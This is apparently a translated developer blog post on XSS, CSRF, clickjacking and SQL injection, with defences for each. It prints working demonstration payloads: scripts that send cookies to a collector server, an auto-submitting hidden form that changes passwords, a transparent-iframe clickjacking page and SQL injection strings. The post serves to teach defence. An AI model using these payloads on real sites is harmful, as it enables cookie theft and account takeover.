Common web security issues

Posted by moola on Fri, 25 Feb 2022 12:43:41 +0100

Xss attack

XSS (cross site scripting) cross site scripting attack is abbreviated XSS in order to distinguish it from css.

XSS is a kind of injection attack. The attacker injects code into the website of the attacker. Once the user visits the web page, he will execute the injected malicious script.

XSS principle

Personally, xss attacks mainly occur in server-side rendering, because if it is client-side rendering, the input content will generally be escaped if the client-side rendering, so the server-side rendering can hardly touch the websites with xss vulnerabilities,

If it's server-side rendering, it's different, because if I input a string of js code instead of an ordinary string in the input box at the front end, or some websites will render according to the parameters on the address bar, and the parameter value on my url doesn't write an ordinary string, but directly writes js statements. If the back end doesn't handle it, The front-end js code is rendered on the html. When you finally visit the website, the back-end will return the following html page:

<div>
    <h1>Message Board</h1>
    <ul>
        <li>
            How do you do
        </li>
        <li>
            <img src="Nonexistent address 1" onerror="window.location.href='http://www.github.com';" alt="">
        </li>
        <li>
            <script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
        </li>
        <li>
            <script>
                var imgEl = new Image();
                imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
                imgEl.style.display = 'none';
                document.body.appendChild(imgEl);
            </script>
        </li>
        <li>
            <script>
                var scriptEl = document.createElement("script");
                scriptEl.type = "text/javascript";
                scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
                document.body.appendChild(scriptEl);
            </script>
        </li>
    </ul>
</div>

When the browser parses these executable statements, they will be executed, and the consequences can be imagined.

type

Reflective (non persistent)

Generally, the attack script will be injected through the URL. The attack script will be executed only when the user accesses the URL.

Storage (persistent)

The malicious code is saved to the server of the target website. For example, when the user leaves a message, he enters a string of js code, and then publishes a message, the string of js code will be saved to the database. When visiting the website next time, the website will get the message list. If your message of the malicious code is displayed on the page, your string of malicious code will be executed. Such harm is very great, as long as you visit the website, you may be affected.

to guard against

HTML escape

The main way to prevent XSS attack is to escape the content entered by the user from HTML. After escape, it can ensure that the content entered by the user is displayed as text in the browser rather than as code parsing.

Validate user input

XSS attacks can be carried out in any place where users can customize content, as follows:

<a href="{{url}}">Website</a>

The {{url}} part indicates that it will be replaced with the url variable value entered by the user. If the url is not verified, the user can write javaScript code, such as javascript:alert('Bingo! ');. Because this value does not contain < and > that will be escaped. The connection code on the final page will change to:

<a href="javascript:alert('Bingo!');">Website</a>

When the user clicks this link, the browser will execute the attack code set in the href attribute.

In addition, the program also allows users to set the URL of avatar pictures. This picture is displayed in the following way:

<img src="{{url}}">

Similarly, the {url}} section indicates that the url variable value entered by the user will be replaced. If the input url is not verified, the user can set the url to "XXX" oneror = "alert ('bingo! ')" and the final img tag will change to:

<img src="xxx" onerror="alert('Bingo!')">

Here, because an incorrect URL is passed in src, the browser changes back to executing the javaScript code set in the oneror attribute.

You can use the function single quotation mark or double quotation mark to convert the user's input into a string and then render it to html.

Set the HTTPOnly property of the cookie

JavaScript Document.cookie API cannot access cookies with HttpOnly attribute; Such cookies only work on the server. For example, cookies that persist server-side sessions do not need to be available to JavaScript, but should have the HttpOnly attribute. This precaution helps mitigate Cross site scripting (XSS) Attack.

Csrf attack

CSRF (Cross Site Request Forgery) Cross Site Request Forgery

In short, an attacker (hacker, phishing website) embezzles your identity and sends malicious requests in your name. These requests include sending emails, sending messages, stealing accounts, purchasing goods and bank transfers

Csrf principle

Personally, I think the principle of Csrf attack is that when a request is made, the browser will automatically bring some values existing in the client, such as cookies. As we all know, http protocol is stateless. In that ancient era, many websites saved the login status (such as token) returned by the user when logging in successfully into the cookie. Then, when the client initiates the request, there is nothing to do and send the request as usual, because when sending the request, the browser will automatically bring the cookie, and when the back-end receives the request, It will judge whether the cookie is legal or expired. If it is judged correctly, it will return the user's operation result. It can be seen from the above process that all operations are based on cookies, that is, when the back end receives the request, no one recognizes the cookie, and the cookie pair returns the result. Therefore, Csrf attack is derived. The lowest Csrf attack is the so-called phishing website. What is phishing website? First, to complete Csrf attack, the following conditions must be met:

  1. Csrf vulnerability exists in this website (important condition)
  2. The browser does not have security restrictions (important conditions)
  3. The user has insufficient awareness of prevention (secondary condition)

When the above one or two points are met, the record of users being phished is greatly improved, because most people will not think that clicking the link will tamper with their data.

Simulate the overall process with popular cases:

A company has developed a website with new people's activities. New people can directly return ten yuan red envelopes (i.e. white whoring) after registering and logging in, but the website has Csrf vulnerability.

The front end of the website is finally deployed in: https://www.zhengbeining.com/csrf/ lower

<template>
  <div>
    <h1 style="color: red">Csrf Test website</h1>
    <h1>Current user information:{{ info }}</h1>
    <div style="width: 500px" v-if="!loginOk">
      <el-form ref="form" :model="info" label-width="80px">
        <el-form-item label="account number">
          <el-input v-model="info.username"></el-input>
        </el-form-item>
        <el-form-item label="password">
          <el-input type="password" v-model="info.password"></el-input>
        </el-form-item>
        <el-form-item label="">
          <el-button type="success" @click="login">Sign in</el-button>
          <el-button type="primary" @click="register">register</el-button>
        </el-form-item>
      </el-form>
    </div>
    <div v-else>
      <h2>Login successful</h2>
      <div style="width: 500px">
        New password:<el-input type="password" v-model="newpassword"></el-input>
        <el-button type="danger" @click="edit">modify</el-button>
      </div>
    </div>
  </div>
</template>



<script>
import Cookies from "js-cookie";
import axios from "axios";
export default {
  components: {},
  data() {
    return {
      info: {
        username: "",
        password: "",
      },
      newpassword: "",
      loginOk: false,
    };
  },
  mounted() {
    this.loginOk = Cookies.get("token");
    if (this.loginOk) {
      console.log("cookie have token,Get user information");
      this.getUserInfo();
    } else {
      console.log("cookie No, token");
    }
  },
  methods: {
    getUserInfo() {
      axios
        // .get("/api/getUserInfo", {
        .get("https://www.zhengbeining.com/csrf/getUserInfo", {
          params: { token: Cookies.get("token") },
        })
        .then((res) => {
          console.log(res);
          if (res.data.code == 200) {
            delete res.data.info.token;
            this.info = Object.assign({}, this.info, res.data.info);
            this.loginOk = true;
            this.$message.success(res.data.msg);
          } else {
            this.loginOk = false;
            Cookies.remove("token");
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    login() {
      axios
        // .post("/api/login", {
        .post("https://www.zhengbeining.com/csrf/login", {
          ...this.info,
        })
        .then((res) => {
          if (res.data.code == 200) {
            this.$message.success(res.data.msg);
            Cookies.set("token", res.data.info.token);
            delete res.data.info.token;
            this.info = Object.assign({}, this.info, res.data.info);
            this.loginOk = true;
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    register() {
      axios
        // .post("/api/register", {
        .post("https://www.zhengbeining.com/csrf/register", {
          ...this.info,
        })
        .then((res) => {
          if (res.data.code == 200) {
            this.$message.success(res.data.msg);
            // this.info = Object.assign({}, this.info, res.data.info);
            // Cookies.set("token", res.data.token);
            // this.loginOk = true;
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    edit() {
      if (this.newpassword.length < 6) {
        this.$message.error("The password needs to be greater than 6 digits");
        return;
      }
      axios
        // .post("/api/edit", {
        .post("https://www.zhengbeining.com/csrf/edit", {
          password: this.newpassword,
        })
        .then((res) => {
          if (res.data.code == 200) {
            Cookies.remove("token");
            // this.$data = this.$options.data();
            Object.assign(this.$data, this.$options.data());
            this.$message.success(res.data.msg);
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
  },
};
</script>

<style>
</style>

The back end of the website: eventually deployed in https://www.zhengbeining.com/csrf/ Down.

let express = require('express')
const { v4: uuidv4 } = require('uuid');
const connection = require('./app/database');

// Parsing body data of post request
let app = express()
app.use(express.json())
app.use(express.urlencoded({ extended: false }))


app.all("*", function (req, res, next) {
  //Set the domain name that allows cross domain, * means that any domain name is allowed to cross domain
  res.header("Access-Control-Allow-Origin", "*");
  //Allowed header types
  res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin");
  //Cross domain allowed request mode 
  res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS");
  if (req.method.toLowerCase() == 'options')
    res.send(200);  //Let options try to request a quick end
  else
    next();
})

// Static file directory
app.use(express.static('public'))
var router = express.Router()

// Xss attack, obtaining cookie s
app.use('/', router.get('/img_xss', async (req, res, next) => {
  console.log('img_xss Attack successful,Get cookie: ', req.query)
  res.end('img_xss-ok')
}))

// Xss attack, obtaining cookie s
app.use('/', router.get('/js_xss', async (req, res, next) => {
  console.log('js_xss Attack successful,Get cookie: ', req.query)
  res.end('js_xss-ok')
}))

// Get user information
app.use('/', router.get('/getUserInfo', async (req, res, next) => {
  console.log('login')
  let statement = `SELECT * FROM user WHERE token = ?`;
  let [result] = await connection.execute(statement, [req.query.token]);
  if (result[0]) {
    res.json({ code: 200, msg: 'User information obtained successfully', info: result[0] })
  } else {
    res.json({ code: 400, msg: 'token Error, failed to get user information' })
  }

}))

// register
app.use(router.post('/register', async (req, res, next) => {
  console.log('register')
  const { username, password } = req.body;
  let statement = `SELECT * FROM user WHERE username = ?;`;
  let [result] = await connection.execute(statement, [username]);
  if (!result[0]) {
    let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`;
    await connection.execute(statement, [username, password, null, new Date() + '']);
    res.json({ code: 200, msg: 'login was successful' })
  } else {
    res.json({ code: 400, msg: 'user name:' + username + ',Already registered' })
  }
}))

// Sign in
app.use('/', router.post('/login', async (req, res, next) => {
  console.log('login')
  let { username, password } = req.body
  let statement = `SELECT * FROM user WHERE username = ? and password = ?`;
  let [result] = await connection.execute(statement, [username, password]);
  if (!result[0]) {
    res.json({ code: 400, msg: 'Wrong user name and password' })
  } else {
    let statement = `UPDATE user SET token = ? WHERE id = ?;`;
    await connection.execute(statement, [uuidv4(), result[0].id]);
    let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`);
    res.json({ code: 200, msg: 'Login successful', info: info[0][0] })
  }
}))

// Change Password
app.use('/', router.post('/edit', async (req, res, next) => {
  console.log('edit')
  var Cookies = {};
  if (req.headers.cookie != null) {
    req.headers.cookie.split(';').forEach(l => {
      var parts = l.split('=');
      Cookies[parts[0].trim()] = (parts[1] || '').trim();
    });
  }
  let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]);
  // console.log(info[0][0].id)
  let statement = `UPDATE user SET password =  ? WHERE token = ?;`;
  let [result] = await connection.execute(statement, [req.body.password, Cookies.token]);
  console.log(result)
  if (result.affectedRows == 0) {
    res.json({ code: 400, msg: 'token Error, failed to modify password' })
  } else {
    let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`;
    await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]);
    res.json({ code: 200, msg: 'Password modified successfully' })
  }
}))


app.listen('7000', function () {
  console.log('http://localhost:7000', 'running....')
})

After knowing the vulnerability of the website, a swindler hyped the new rebate activity of the website on the Internet, and then asked users to add their own wechat to obtain more white whoring benefits.

User a adds a swindler. After the swindler asks him to register and log in, the figure of successful login is cut and sent to the swindler, and then the swindler tells the user what to do next.

User a registered and logged in (i.e. initiated) https://www.zhengbeining.com/csrf/login Requested, and then set the token to https://www.zhengbeining.com In the cookie under this domain name), the screenshot was sent to the swindler, so that the swindler can determine to change the user's login, and the login information must be saved in the cookie. Then, because the swindler has changed the password in this website, he knows that the website changes the user's password to initiate a post request, just bring the parameter password, and the back-end server will judge the cookie, And only recognize the cookie. If the cookie is legal, use the passed password to change the password of the database. If the cookie is illegal, an error will be returned.

At this time, the swindler began to operate and sent a link to user a to let user a click the link to see the activity rules, but this is a phishing link. The specific code is as follows:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;">
        <input type="text" name="password" value="999" />
    </form>
    <iframe name="iframe" style="display: none;"></iframe>

    <script>
        var el = document.getElementsByClassName("csrf")[0]
        el.submit()
    </script>
</body>

</html>

When this link is opened, it is actually blank, but it will initiate a form request and a post request: http://localhost:3000/edit , and set the value of password to 999, and then submit. When submitting, an iframe nested window pops up, but the window is set with a hidden style. It feels like nothing can be seen, just a blank.

After user a clicks the link, although it is blank, he secretly initiates a post request. Because the user logs in successfully, the token is saved in the cookie. Now he initiates the request again https://www.zhengbeining.com/edit still https://www.zhengbeining.com Therefore, as long as it is the same browser, the user has logged in here before, left a cookie, and the cookie has not expired (generally, the cookie will not expire so soon, and the user clicked the swindler link shortly after logging in), and launched it again https://www.zhengbeining.com/edit No matter what the current swindler link is, the browser will launch http://localhost:3000/edit Request, and the browser will find out if it exists https://www.zhengbeining.com The data under this domain name, such as cookies, if any, will be brought, and it happens that before https://www.zhengbeining.com/login When the login is successful, the token is saved in the cookie. Therefore, the browser will bring this cookie (i.e. token) to the back end.

to guard against

Cookie Hashing

It should be the simplest solution, because although the initiation of http request will bring the cookie under the same domain of the browser, the initiation of request will automatically bring the cookie in the same domain. How to understand? For example, my browser opens AAA COM and BBB Com two pages, I'm in AAA Com launched a BBB The request of COM / login will automatically bring the cookie in BBB because of the browser. However, it does not mean that I am in AAA You can get bbb.com Com cookie, just in AAA Com will bring BBB with you when you make a request for BBB COM, so to prevent csrf attacks, you can bring a hash value constructed according to the cookie when making a request:

This is the form code of bbb website

<form method="POST" action="bbb.com/login">
    <input type="text" name="toBankId">
    <input type="text" name="money">
    <input type="hidden" name="hash" value="{{hashcookie}}">
    <input type="submit" name="submit" value="Submit">
</form>

In this way, when bbb initiates a request, bbb can access the cookie under its own domain name. Therefore, after initiating the request, the backend can receive the hash value in the form. However, if it is someone else's AAA COM, although AAA Com can construct other parameters in the expression, but can't get the bbb cookie, so it's impossible to construct the hash value according to the cookie! Based on this, the back end can decrypt the hash value to determine whether the hash transmitted from the front end is legal.

The backend validates the Referer and Origin fields of HTTP

  • referer attribute

The source address of the http request is recorded, but some scenarios are not suitable for exposing the source URL to the server, so it can be set without uploading, and the referer attribute can be modified, so checking the referer attribute on the server side is not so reliable

  • origin attribute

When sending a request through XMLHttpRequest, Fetch or Post method, the Origin will be brought, so the server can give priority to judging the Origin attribute, and then judge whether to use the referer according to the actual situation.

The backend uses the SameSite attribute of the cookie

When the backend responds to the request, the SameSite attribute is added to the set cookie.

The SameSite option usually consists of three values: Strict, Lax, and None

  • Strict is the most strict. If strict is set for cookies, the browser will completely prohibit third-party cookies.
  • Lax is relatively loose. In the case of cross sites, cookies will be carried when opening links from third-party sites and submitting Get forms from third-party sites However, if the Post method is used in the third-party site or the URL loaded through img, iframe and other tags, cookies will not be carried.
  • None, cookies will be sent in any case.

csrfToken

  • When the browser sends a request to the server, the server generates a CSRF Token (string) and sends it to the browser, and then puts the string into the page
  • This CSRF Token is required when the browser requests (such as form submission). After receiving the request, the server verifies whether the CSRF is legal. If not, it can refuse.

Use token and verify

Since the browser will automatically bring the cookie of the same domain, the login information will not be saved in the cookie, but in the localstorage. When initiating a network request, the localstorage of the same domain will not be brought by default, and then the login information will be stored in the localstorage. When requesting, manually bring the localstorage, and the back end will judge it.

Click hijack

principle

The website to be attacked is embedded into its own web page through iframe nesting, and iframe is set to be transparent. A button appears in the page to induce users to click. Click the button to actually click the things in iframe.

For example: for example, I sent a video on station b, and I hope others will give me one key three links, but obviously many people like white whoring and don't click one key three links. I use iframe to embed station b into one of my websites, then set iframe transparent, and use positioning to locate a button to the position of one key three links, And set the website to be more attractive, such as clicking on the lottery or clicking to obtain the latest information, so that others click the button. In fact, they click on the one button three button of iframe, which achieves my goal.

ps: but in fact, you need to log in three times by clicking one button. If iframe can't get your previous login status at station b, it's useless. Moreover, in 2021, there are more and more restrictions on iframe. For example, since the Chrome 80 version of Google browser, a SameSite attribute has been added to the browser's cookie to prevent CSRF attacks and user tracking. This function is enabled by default (SameSite: Lax). Iframe can't get the cookie outside.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .wrap {
            position: relative;
        }

        .iframe {
            position: absolute;
            width: 600px;
            height: 600px;
            /* opacity: 0.5; */
            opacity: 0;
        }

        .img {
            position: absolute;
            width: 600px;
            height: 600px;
            background-color: pink;
        }

        .btn {
            position: absolute;
            bottom: 96px;
            left: 6px;
            display: inline-block;
            padding: 10px 20px;
            background-color: yellow;
            border-radius: 4px;
        }
    </style>
</head>

<body>
    <div class="wrap">
        <div class="img">
            <span class="btn">click</span>
        </div>
        <iframe class="iframe" src="https://www.zhengbeining.com/csrf/" frameborder="0"></iframe>
    </div>
</body>

</html>

to guard against

Set the http header X-Frame-Options field

  1. DENY / / reject any domain loading
  2. SAMEORIGIN / / allow loading in the same domain
  3. ALLOW-FROM / / you can define the page address that allows the frame to be loaded

You can set the value to deny. After setting, the loading of any domain will be rejected. If someone else iframe is embedded, the browser console will report an error:

Refused to display 'https://www.zhengbeining.com/' in a frame because it set 'X-Frame-Options' to 'deny'.

sql injection

principle

In fact, the specific parameters inserted into the sql query or application are:

If the backend splices sql like this:

let username = 'admin'
let password = 999
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '999'

The above sql is to find all the data in user. The user name is admin and the password is 999.

However, if the user enters the user name and password as follows:

let username = 'admin'
let password = "1 'or '1'='1"
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '1 'or '1'='1'

The above sql is to find all the data in user. The user name is admin, the password is 1, or 1 = 1. No matter whether the data with the user name is admin and the password is 1 is found or not, the latter 1 = 1 must be true, and or is used between the previous condition and the latter condition, so, As long as one or both of (user name is admin, password is 1) or (1 = 1) are satisfied, the data in user will be queried. The data can be queried here!

Or the user can enter the user name and password as follows:

let username = "admin' -- "
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' -- ' and password = '234'
let username = "admin' #"
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' #' and password = '234'

The above two sql statements use the comments in sql to achieve sql injection.

to guard against

The back end restricts the content submitted by the front end

For example: regular expression

Do not use string splicing

Use some tools to splice. For example, the node backend can use query or execute in mysql2

const conn = await mysql.createConnection({
  host: 'xxxxxxxxxxxxxx.mysql.rds.aliyuncs.com',
  user: '<Database user name>',
  password: '<Database password>',
  database: '<Database name>',
  charset: 'utf8mb4'
})
const [rows, fields] = await conn.query(
  'SELECT * FROM `user` where id in (?)',
  [userIds])
const [rows] = await conn.execute(
  'SELECT * FROM `user` where id = ?',
  [userId])

To be updated

reference resources

https://blog.csdn.net/weixin_30867015/article/details/99033645?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-1&spm=1001.2101.3001.4242

http://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html

https://blog.csdn.net/onlyliii/article/details/108276843